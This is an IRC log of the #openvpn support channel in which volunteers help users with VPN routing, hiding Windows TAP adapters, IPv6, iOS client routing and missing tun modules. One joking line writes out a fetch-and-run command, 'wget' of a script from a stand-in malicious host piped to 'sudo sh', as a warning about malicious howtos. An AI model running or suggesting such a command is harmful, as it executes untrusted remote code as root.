13:35 < holmen> yeah but the whole idea with the tunnel to the external service is to make my ip anonymous. When just starting the tunnel on with standard
13:35 < Orbi> Thanks for the help
13:35 < holmen> ... with standard routing my main ip is hidden. Why is'nt it so when routing over the other nic?
13:36 <+pekster> Then bind to the VPN IP and you're done. You can't "not have" an IP/routing configured on an interface you're running a VPN over
13:36 <+pekster> It's like asking for an armored car to secure you without needing the car to drive anyway
13:37 < holmen> ok thank you! You have been really helpful :)
13:37 <+pekster> You need to be able to route to your peer. You can then set up a VPN and send traffic across the VPN by using that IP as the bind address (aka: source address) to your apps
13:37 <+pekster> If you don't want certain types of traffic (eg: non VPN traffic) going over the raw link, then you must write firewall rules to prevent it
13:39 < holmen> Ok, that'll be step two. Thank you!
13:41 -!- gedO [~quassel@213.226.181.200] has joined #openvpn
13:41 < gedO> Hey guys, ho I can add tap0901 devices to XP windows and make them hidden?
13:41 < gedO> I need solution thta works on XP and on Win8
13:42 < Steven_> gedO: what do you mean by hidden?
13:42 < gedO> When tap0901 device is added it appiers in bar next to clock
13:42 < Steven_> I've successfully automated the unattended installation of openvpn on windows xp
13:42 < Steven_> its pretty nice
13:42 < Steven_> oh
13:42 < gedO> and it is anoying
13:42 < Steven_> I guess that's just a registry setting
13:43 < gedO> Steven_: do you know that setting?
13:43 < Steven_> no
13:43 < Steven_> on windows xp, I don't have an extra icon next to the clock
13:44 < gedO> Steven_: realy?
13:44 < Steven_> but I also didn't install tap0901, I used the default tap driver that came with the openvpn installer
13:44 < gedO> Steven_: Please,tell more about that default driver
13:44 -!- brute11k1 [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
13:45 < gedO> Steven_: Where I can find it?
13:45 <+pekster> gedO: Pretty sure I told you that hours ago. It's in the installer package that you can break open with 7-zip at the relative path .\$TEMP\tap-windows.exe
13:45 < Steven_> in the installer, when it shows the list of components to install, there is a "TAP Virtual Ethernet Adapter"
13:46 <+pekster> You should never use an older tap driver with a more modern version of the product since the 2 parts are closely related to each other
13:46 < Steven_> it's check by default too
13:46 < gedO> pekster: I have looked ar TAP-Windows drivers whitch is installed with openvpn
13:46 < gedO> Okey guys, i gona extract that installer :)
13:47 -!- _quadDam1ge is now known as _quadDamage
13:47 < Steven_> why are you extracting it? (just curious)
13:47 < gedO> Steven_: I have in mind dowloading source :)
13:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:47 -!- mode/#openvpn [+o krzee] by ChanServ
13:49 <+pekster> There's some registry value you can bitmask out to "hide" the adapter I think, although it shouldn't show up in the clock area by default with any modern version of the driver
13:49 <@krzee> !wintaphide
13:49 <@vpnHelper> "wintaphide" is (#1) in regedit find HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318} then Look through each sub-key for one with a DriverDesc = TAP-Win32Adapter V8 . Set Characteristics = 0x89 or (#2) To show again, set it to 0x81
13:49 <+pekster> Apparenlty the secret mask value is 0x08
13:50 < rob0> Wintafide?
13:51 <@krzee> im winterfied out here in usa right now
13:51 <@krzee> its collllllld
13:51 <+pekster> http://answers.microsoft.com/en-us/windows/forum/windows_xp-hardware/ethernet-and-wireless-nics-inoperative-can-not-be/fddb96a7-ec7a-453c-8566-41bf0738287e
13:51 <@vpnHelper> Title: Ethernet and Wireless NICs inoperative can not be - Microsoft Community (at answers.microsoft.com)
13:51 <+pekster> Ugh
13:51 < gedO> pekster: what is secret mask value?
13:51 <+pekster> Why does that OS have such stupid ways of doing and then (failing to) explain things?
13:52 <+pekster> gedO: Not only did I give you the XOR bitmask value, but I linked you to an article talking about it in great (great) detail
13:52 < rob0> It warmed up today in Dixieland, CSA!
13:52 <+pekster> Oh, and krzee linked the bot's reply with that same info
13:52 < gedO> pekster: Yes, I have that. But stange thing apeared
13:52 <@krzee> 5 legged dog?
13:53 < gedO> pekster: I can't add tap devices any more and I don't see any log at windows 8
13:54 < gedO> pekster: I have added 5 and then after soem time I want to add more
13:54 < gedO> and I get error
13:55 <+pekster> You need more than 5 adapters?
13:56 <+pekster> Normally you don't get logs when running addtap.bat. Just run the 'deltapall.bat' script and start over if you have that much of a mess
13:57 < gedO> pekster: okey, tahnak you
13:57 < BtbN> omg, if someone ever runs into this: the boolean net.ipv6.conf.eth0.accept_ra has 3 possible values. 0 disables ra, 1 enables it if not in forwarding mode, 2 force-enables it...
13:57 <+pekster> Do you really need 5+ tap devices? That sounds a lot like a misconfiguration to me
13:57 < holmen> pekster: just getting back to you. It works like a charm. Thank you for all you help and i'm sorry if hav ebeen a pain in the ass :S
13:57 < holmen> *:D
13:59 <+pekster> holmen: Just no more PMs that fall off the right-edge of my monitor. You do okay when you take the time to read the guides I link (sounds like the lartc guide got your multi-homing fixed, for instance)
13:59 <+pekster> If any of us take time to link it, it's probably worth reading (or we're one too many beers in. But usually the former)
14:03 < holmen> exit
14:03 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Quit: leaving]
14:04 <+pekster> krzee: That virus sounds kinda nasty when it abused those flags like 'cannot remove device' in the registry. I'm sure glad Linux has no secret sysfs node that breaks modprobe -r for instance :\
14:06 <@krzee> virus?
14:06  * krzee sneezes
14:07 <+pekster> That microsoft forum link I posted noted some virus that xor'd in 0x28 to that registry value which makes it hidden and non-removable (that's the 0x20 bit)
14:07 <+pekster> Why on earth would you want a bit in a registry that marks a devices as "non-removable"? It's so silly it's asking for a virus to flip it...
14:08 <+pekster> Erm, s/xor/or/. Time for more coffee
14:09 <@krzee> hahah nice
14:09 <@krzee> kinda like the lil dir that autoexecuted scripts that nobody knew about until that one gov virus used it
14:10 <@krzee> that one that used like 8 0day together, cant remember the name but it was the gov one before flame that shared code with flame
14:10 <+pekster> I give it less than 5 years before Linux "viruses" are distributed via howtos and bad-influiences that tell you to do 'wget http://ev.il/bad.sh && sudo sh ./bad.sh'
14:11 <@dazo> krzee: you probably missed this one ... http://i.imgur.com/h2JClux.jpg
14:11 <@dazo> (at least in this channel :-P)
14:12 <@krzee> hahahah
14:12 <@krzee> the murder rate has really been going down?
14:13 <@dazo> I dunno .... I hope it has :-P
14:19 -!- dazo is now known as dazo_afk
14:23 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
14:26 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has quit []
14:33 -!- gedO [~quassel@213.226.181.200] has quit [Remote host closed the connection]
14:43 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:45 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 256 seconds]
14:46 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
14:50 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
15:11 -!- Orbi [~opera@anon-184-12.vpn.ipredator.se] has quit [Quit: Orbi]
15:23 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
15:23 < Cubox> !ipv6
15:23 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
15:25 < rob0> oh, that factoid is starting to smell bad.
15:26 < Cubox> why ?
15:26 < Cubox> I need to find a cool ipv6 tutorial, because I'm a little lost...
15:26 < Cubox> for openvpn
15:27 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:27 -!- mode/#openvpn [+v s7r] by ChanServ
15:36 < rob0> Did you see the /topic yet? Look for "Current Release".
15:39 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
15:39 < Cubox> 2.3.0
15:39 < Cubox> so, full ipv6 support.
15:40 < rob0> no patch needed
15:40 <@krzee> hey 2.3.0 came out!
15:40 <@krzee> badass
15:40 < Cubox> I know !
15:40 < Cubox> But, I still need confguration, right ?
15:41 <@krzee> yes
15:41 < Cubox> Or, if you tell me that openvpn guess everything, I will not beleive you.
15:41 < Cubox> krzee: so, where is the conf? :/
15:41 <@krzee> forget about ipv6 and get a normal vpn up
15:41 <@krzee> then make the small mods needed for ipv6
15:41 < Cubox> I have a normal vpn up
15:42 < roentgen> Hi, I'm having some trouble with the ios client
15:42 <@krzee> then how can you say "where is the conf" ?
15:42 <@krzee> ios client got released too!?!?
15:42 <@krzee> holy shit how long have i been gone
15:42 < Cubox> krzee: I mean, it there a HOWTO for ipv6?
15:42 < roentgen> krzee: hmm.. yeah. some days ago
15:43 < roentgen> I can't ping the vpn server from the ipad even though the same config works on the android client
15:43 < roentgen> atually I can ping the vpn server only if I push redirect-gateway def1
15:43 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
15:44 <@krzee> can you see logs?
15:44 < roentgen> krzee: yes
15:45 <@krzee> post it
15:45 < roentgen> Cubox: tun-ipv6 in the server config
15:45 < Cubox> roentgen: thanks
15:46 < roentgen> Cubox: and "server-ipv6 an-ipv6-address"
15:46 <@krzee> the options are at:
15:46 <@krzee> !ipv6
15:46 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
15:46 <@krzee> first link
15:46 < Cubox> oh, thanks :)
15:46 <@krzee> may be updated a little, see manual for more up to date details
15:47 < roentgen> krzee: If I tell you that I have no idea how to copy stuff of an ipad? ;)
15:47 <@krzee> maybe theres a pastebin app or something
15:51 < roentgen> krzee: http://paste.kde.org/655052/
15:52 < roentgen> now back to work to send a config with verb 5 to the ipad... tricky stuff
15:52 <@krzee> i just got my itouch out
15:52 <@krzee> hopefully my beta install is the same
15:54 <@krzee> wow, no logs from gui
15:55 < roentgen> krzee: on the ithing?
15:55 <@krzee> ya
15:55 <@krzee> crazy
15:55 < roentgen> click "status connected"
15:55 <@krzee> it needs to have some easy way for you to get me logs
15:56 <@krzee> so you cant ping 10.8.0.1?
15:56 < roentgen> nope... only with redirect-gateway def1
15:57 < roentgen> which would be fine if safari woudn't complain that is not connected to the internet
15:57 < roentgen> and would go open 10.8.0.1 as http
15:58 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0.1/20130116073211]]
15:59 < roentgen> hmmm.... verb 5 is the same as verb 3 it seems
15:59 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:59 <@krzee> try just pushing a route to 10.8.0.0 255.255.255.0 from server
16:01 < rob0> nono. YOU push. I'll steer.
16:01 < roentgen> I think I did that with push 10.8.0.0/19 10.8.0.1 in a ccd
16:02 <@krzee> hey i cant ping either!
16:02 <@krzee> lemme fix mine then ill tell you wassup ;)
16:02 < roentgen> hah... I'm so glad now ;)
16:04 < roentgen> krzee: you might wanna talk to James Yonan for the 1.0.1 beta version
16:05 <@krzee> oh yes i can, its just 1-way
16:05 <@krzee> seems ios has some sort of firewall or something
16:05 <@krzee> server pings its vpn ip just fine
16:05 <@krzee> check if you have the same results
16:06 < roentgen> I can ping the client from the server yes, if that's what you mean
16:06 <@krzee> then its fine
16:07 <@krzee> i just accessed a website on an ip in the lan behind my server
16:07 <@krzee> from my itouch
16:09 <@krzee> so now we know your ping works
16:09 <@krzee> the webserver you are trying to reach, is it listening on 10.8.0.1?
16:09 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
16:18 < roentgen> krzee: sorry I was afk
16:19 < roentgen> yes apache is listening on 10.8.0.1
16:19 <@krzee> np
16:20 <@krzee> pastebin netstat -rn from the ipad
16:20 < roentgen> you know of good terminal app?
16:20 <@krzee> nope
16:20 < roentgen> I searched a whole day for one
16:20 <@krzee> i dont actually use my itouch
16:20 <@krzee> i just happen to have one, lol
16:21 < roentgen> and I could only find a ping/traceroute app
16:21 <@krzee> only has charge so i could listen to music if my other mp3 players die while traveling
16:21 <@krzee> has openvpn cause why the hell not!
16:21 < roentgen> so how do you do a netstat on it?
16:21 <@krzee> dont remember where i found netstat, but its there in cydia
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:22 <@krzee> adv-cmds
16:22 <@krzee> core utilities
16:22 <@krzee> core utilities (/bin)
16:22 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.0"]
16:22 <@krzee> debian utilities
16:23 <@krzee> inetutils
16:23 <@krzee> network-cmds
16:23 <@krzee> i think its in that one ^
16:24 < roentgen> hmm... I just remembered that traceroute 10.8.0.1 went thru the local gateway
16:24 < roentgen> so I have a bigger problem than netstat
16:24 <@krzee> get netstat
16:24 <@krzee> its how i see your routes lol
16:27 < roentgen> krzee: hmm... cydia is for jailbroken devices
16:27 < roentgen> and mine it's not
16:28 <@krzee> oh right
16:28 < roentgen> I don't even own it
16:28 <@krzee> well figure out how to find your routing table
16:28 <@krzee> thats all im looking for
16:28 <@krzee> maybe try adding the route directly in your config file instead of pushing
16:29 <@krzee> maybe theres an issue with the routes being pushed, not sure why that sounds familiar
16:29 <@krzee> oh nope
16:29 <@krzee> my routes are being pushed
16:30 < roentgen> mine are also pushed as far as openvpn thinks
16:30 < roentgen> it's just that they seem to work
16:30 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Read error: Operation timed out]
16:31 < roentgen> * not work ;)
16:31 -!- mdw [~mdw@81.171.97.152] has joined #openvpn
16:32 <@krzee> works here, i wish you had netstat
16:33 < roentgen> hmm... I wish there was a blank terminal in this thing
16:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:34 < roentgen> I guess I'll post a question on the mailing list... maybe they figure out something
16:35 <@krzee> https://discussions.apple.com/thread/3624745?start=0&tstart=0
16:35 <@vpnHelper> Title: routing table in iphone: Apple Support Communities (at discussions.apple.com)
16:35 <@krzee> there seems to be apps that can show you the routing table
16:42 < roentgen> as a guy in that thread put it: We're not gonna do any of that stuff, but we'll think about it.
16:43 <@krzee> "A more general App would be "iFinder" which gives you more info about the Networking."
16:44 <@krzee> There is a Free app for unjailbroken iPhone, I use, called "What is my MAC Address" not sure who makes it, but it was a free app last I saw, actually it's just called "MAC Address"  by Bliss software.
16:44 <@krzee> maybe one of those have it
16:44 <@krzee> i cant see cause i dont have an apple login lol
16:44 <@krzee> well i have one but i dont use it
16:45 < roentgen> ifinder just shows yourself on the map and I got so angry I didn't search for the other one
16:45 <@krzee> lol
16:45 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:46 <@krzee> Someone squawked that is was a useless app, and you can get the info from Settings>General>About, but you CAN'T. Also, the app allows you to copy the info and email it to yourself or whatever you want.
16:46 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 276 seconds]
16:47 < roentgen> mac address shows only the mac and the ips
16:47 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
16:47 <@krzee> the app "system status" from technet costs $?
16:50 < roentgen> 1.79e but it's not my money ;)
16:50 -!- mdw [~mdw@81.171.97.152] has quit [Ping timeout: 276 seconds]
16:53 < roentgen> krzee: this is what I got with the said app http://paste.kde.org/655100/
16:54 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
16:54 <@krzee> whats 10.8.31.37
16:55 < roentgen> my client vpn ip
16:55 < roentgen> 10.8.0.1 is the server with a /19 netmask
16:56 <@krzee> whats your openvpn config line for that?
16:56 <@krzee> for the pushed route
16:56 < roentgen> normally I don't push routes
16:56 < roentgen> I just use server 10.8.0.0 255.255.224.0
16:56 < roentgen> in the server config
16:56 <@krzee> why so big?
16:57 < roentgen> many clients.... ~1000 currently
16:57 <@krzee> ~1000 on 1 box?
16:57 < roentgen> on a busy day yes
16:57 <@krzee> …and its alive?
16:58 < roentgen> has no problems other than the connection being saturated by the udp traffic
16:58 <@krzee> wtf is your hw!?
16:58 <@krzee> ive heard of openvpn pegging its core ~250 clients
16:58 < roentgen> it's not hardware intensive as far as I see
16:59 <@krzee> no its not
16:59 <@krzee> but its single threaded and eventually just hits a limit
16:59 <@krzee> the openvpn process itself
16:59 < roentgen> 200 MB of ram and 10% cpu
16:59 <@krzee> whats the hardware?
16:59 <@krzee> blade?
16:59 <@krzee> lol
17:00 < roentgen> AMD Phenom(tm) 8650 Triple-Core Processor
17:00 <@krzee> how many mhz per core?
17:00 <@krzee> cause openvpn is only on 1 of them
17:00 <@krzee> ghz, sry
17:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
17:00 < roentgen> 1150.000 I guess... I forgot
17:01 < roentgen> that's what cpuinfo says
17:01 <@krzee> dmesg
17:01 < roentgen> it's gone with iptables traffic
17:01 <@krzee> ah
17:03 <@krzee> you're only trying to reach a webserver on the vpn server, right?
17:03 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds]
17:04 < roentgen> krzee: yes
17:04 <@krzee> then try not pushing that lan route
17:04 <@krzee> just by connecting you get a route to the server
17:04 < roentgen> I didn't push any routes at first
17:05 <@krzee> which is working we know because the server can ping the client (and gets a response)
17:05 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
17:05 <@krzee> actually now that i think of it, if that is already true you dont need to change a thing
17:05 <@krzee> if ping works, the web connection should as well
17:06 < roentgen> ping works only with redirect-gateway
17:06 <@krzee> try tcpdump on the server tun device and see whats going on with the web connection
17:06 <@krzee> oh
17:06 <@krzee> try losing that /19 route
17:06 <@krzee> then tell me if the server can ping the clients vpn ip
17:07 < roentgen> yes the server and other clients can ping the ipad
17:07 < roentgen> the ipad client can't see anything
17:07 <@krzee> ok
17:08 <@krzee> now try the web connection while running tcpdump on the server sniffing for the client
17:08 <@krzee> my ipod touch cant ping my vpn server either but all other clients can
17:08 <@krzee> dunno why, just how it is, some sort of filter in there
17:08 <@krzee> your server needs to sniff its tun device
17:09 <@krzee> while you try to make the web connection to the server's vpn ip
17:09 < roentgen> I'm no tcpdump expert but on the ipad traceroute to the 10.8.0.1 goes through the local gateway
17:10 <@krzee> ipad is not your server
17:11 < roentgen> 10.8/19 on the ipad looks right to you?
17:18 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
17:18 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
17:19 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
17:19 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:21 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Ping timeout: 248 seconds]
17:27 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 276 seconds]
17:28 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
17:38 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
17:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:43 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Ping timeout: 255 seconds]
17:46 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Read error: Connection reset by peer]
18:38 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 252 seconds]
18:43 -!- brute11k [~brute11k@89.249.230.233] has joined #openvpn
18:47 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
18:49 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
18:49 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has left #openvpn []
18:50 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
18:51 -!- mintuser [~mintuser@cpe-74-73-157-238.nyc.res.rr.com] has joined #openvpn
18:52 < zrzerenato> flushipnettable failed on interface using non-admin windows 7 account, i tryied already (www.openvpn.se) and some google but still not solved any one?
18:52 < mintuser> I am going crazy trying to get an openvpn client running using linuxmint.   the latest error is Options error: You must define TUN/TAP device (--dev)  but I have tried --dev tun on the command line and dev tun in the config file.
18:53 < mintuser> can anyone help me?
18:54 < mintuser> zrzerenato: is anyone around to help?
18:55 <@krzee> roentgen, no, but i havnt tried a /19 before
18:56 < mintuser> krzee: are you someone who could help?
18:56 <@krzee> but on a /8 /16 or /24 it simply leaves off the empty octets, so maybe its right
18:56 <@krzee> must be
19:00 < mintuser> I guess there is nobody to help.
19:00 <@krzee> roentgen, on the server
19:00 <@krzee> tcpdump -s0 -i tun0 port 80
19:00 <@krzee> then try to access from the client
19:00 <@krzee> !download
19:00 <@krzee> dont use openvpn.se thats WAY old
19:00 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
19:00 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
19:01 <@krzee> mintuser, the last part was for you
19:01 < mintuser> hmm vpnHelper sounds like somebody who would be able to help.  Are you willing to try to help me vpnHelper ?
19:01 < mintuser> oh?
19:01 <@krzee> !bot
19:01 <@vpnHelper> "bot" is I'm a bot.. just a bot. krzee and ecrist are my maintainers, and I haven't said anything, if you'd notice, the person who spoke just before me gave a !command to make me speak :P
19:01 < mintuser> which part
19:02 < mintuser> I don't see anything that looks directed at me or my problem.
19:02 <@krzee> [16:59]  <krzee> !download
19:02 <@krzee> [16:59]  <krzee> dont use openvpn.se thats WAY old
19:02 <@krzee> [16:59]  <krzee> !download
19:02 <@krzee> [16:59]  <krzee> dont use openvpn.se thats WAY old
19:02 < mintuser> what is openvpn.se?
19:03 <@krzee> oops doublepaste
19:03 <@krzee> oops that was zrzerenato
19:03 <@krzee> do you have tun kernel module loaded?
19:03 < mintuser>  used apt-get install from linuxmint 14, Nadia
19:03 < mintuser> yes.
19:03 <@krzee> that doesnt load the tun module into your kernel tho
19:04 <@krzee> try  lsmod|grep tun
19:04 < mintuser> Wed Jan 23 18:56:02 2013 TUN/TAP device tun0 opened
19:04 < mintuser> Wed Jan 23 18:56:02 2013 TUN/TAP TX queue length set to 100
19:04 < mintuser> Wed Jan 23 18:56:02 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
19:04 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 248 seconds]
19:04 < mintuser> from output
19:05 < mintuser> oh
19:05 <@krzee> ahh ok
19:05 <@krzee> !logs
19:05 <@krzee> !configs
19:05 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:05 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:05 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Read error: Operation timed out]
19:06 < mintuser> not my client so I can't paste those
19:06 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
19:07 < mintuser> which logs,
19:07 < mintuser> I chucked my config file and have been using cli parameters
19:08 < mintuser> so I could change things faster
19:08 < mintuser> I have tried so many different things I don't know which to show
19:09 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
19:09 < mintuser> hmm nothing loaded into the kernel.  hmmm
19:11 < mintuser> do I add mktun
19:12 < mintuser> no tun.ko,  should I have one?
19:13 < mintuser> oh dear I am in over my head here
19:14 < zrzerenato> krzee didn´t get what u said ?
19:15 < zrzerenato> my server vpn is already installed and working perfectly. centos 6 with openvpn
19:15 <@krzee> right
19:16 <@krzee> dont use openvpn.se
19:16 <@krzee> !download
19:16 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
19:16 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
19:16 <@krzee> mintuser, you need to recompile your kernel with tun support, that is outside of openvpn
19:16 < mintuser> what is directed at me and what is for zrzerenato  etc
19:16 < mintuser> oh no.  I can't believe mintlinux kernel doesn't have tun support
19:16 < mintuser> linuxmint
19:17 <@krzee> i bet you need to compile it in
19:17 < mintuser> but everyone in #linuxmint says it is usable for openvpn with the default install.
19:17 < zrzerenato> all clients, are working good with adminisrator account , but the employes they use a (User Account) without admin previleges on Win7 ,
19:18 < zrzerenato> and they cannot connect.
19:18 <@krzee> [17:06]  <mintuser> not my client so I can't paste those
19:18 <@krzee> that means i cant help you
19:18 <@krzee> zrzerenato, that is correct, it requires admin
19:18 <@krzee> !win_noadmin
19:18 <@vpnHelper> "win_noadmin" is (#1) http://openvpn.se/files/howto/openvpn-howto_run_openvpn_as_nonadmin-Rev1.1.html for HowTo Run OpenVPN as a non-admin user in Windows or (#2) and http://article.gmane.org/gmane.network.openvpn.user/24873 for vista
19:18 <@krzee> you can try to figure out the win7 way
19:18 <@krzee> if you find it, ill add it to the bot
19:19 <@krzee> or you can set it to run automatically on those computers as a windows service
19:19 < zrzerenato> i tryied that already, but steel with same error msg . (flushipnettable failed on interface)
19:19 <@krzee> openvpn needs access to add routes and modify the network
19:19 <@krzee> without that access you'll have the problems you're having
19:20 < zrzerenato> yeap.  agreed
19:20 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
19:20 < zrzerenato> and i set on admin account previlleges for (Users Account) to run Openvpn as Administrator
19:21 < zrzerenato> and it execute and connect, but i cannot ping, or access the network tunnel
19:22 <@krzee> did you install from http://openvpn.net/index.php/download/community-downloads.html ?
19:22 <@vpnHelper> Title: Community Downloads (at openvpn.net)
19:23 -!- AsadH is now known as zz_AsadH
19:23 < zrzerenato> krzee yes
19:24 < zrzerenato> krzee 2.3.0 and 2.2.2 versions
19:26 <@krzee> ok
19:26 <@krzee> on the desktop
19:26 <@krzee> right click and go to properties
19:26 <@krzee> then compatability mode
19:26 <@krzee> then run as admin
19:27 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Read error: Operation timed out]
19:30 < mintuser> oh sorry, I mean not my server.
19:30 < mintuser> of course it is my client
19:30 < zrzerenato> it run at both users (Admin) and (non-Admin). on (Admin) i can access the tunnel and ping my server, use remote apps, but with (non-Admin) it gives (flushipnettable failed on interface) ACCESS DENIED, but still looking like connected , but it is not routing correctly
19:30 < mintuser> and I can paste most information from the server as well just not the config file itself.
19:31 <@krzee> well for your problem i guess just client side is fine
19:31 <@krzee> zrzerenato, sounds right
19:31 <@krzee> i gave you some options
19:31 <@krzee> compatability mode - run as admin, or run it as a windows service in the background
19:32 <@krzee> and there should be another way the "windows way" but i dont know it
19:32 <@krzee> we only have it in the bot for xp and vista
19:32 -!- brute11k1 [~brute11k@89.249.230.232] has joined #openvpn
19:32 < zrzerenato> krzee sure u have mate .. appreciate when i fix-it i post-it
19:33 < zrzerenato> krzee cheers !
19:33 <@krzee> cheers!
19:33 <@krzee> im using ospf to route to an ip over 2 ptp links (when 1 goes down it uses the other link), but now i need layer2 over the vpn.  any ideas how i can make this work with failover?
19:35 -!- brute11k [~brute11k@89.249.230.233] has quit [Ping timeout: 276 seconds]
19:36 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
19:37 < zrzerenato> krzee sorry maybe next time. not very familiar
19:37 < zrzerenato> ;)
19:37 <@krzee> =]
19:38 < zrzerenato> see soon
19:38 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has left #openvpn []
19:41 <@krzee> pekster, rob0 maybe any ideas?
19:42 <@krzee> or ecrist?
19:42 <@krzee> for some reason i feel like 2 bridges would create a whole lot of fubar
19:44 <@krzee> and the 2 machines that need to communicate over the failover link are windows machines so i cant use ptp tap on them and then run the ospf there
19:47 -!- raidz is now known as raidz_away
19:55 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
20:06 < mintuser> krzee is the only way to use tun devices to compile support into the kernel or sould something like insmod work if I could find a tun.ko which I haven't been able to do so far.
20:08 <@krzee> you can compile it as a module, the same way as compiling it in
20:11 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 245 seconds]
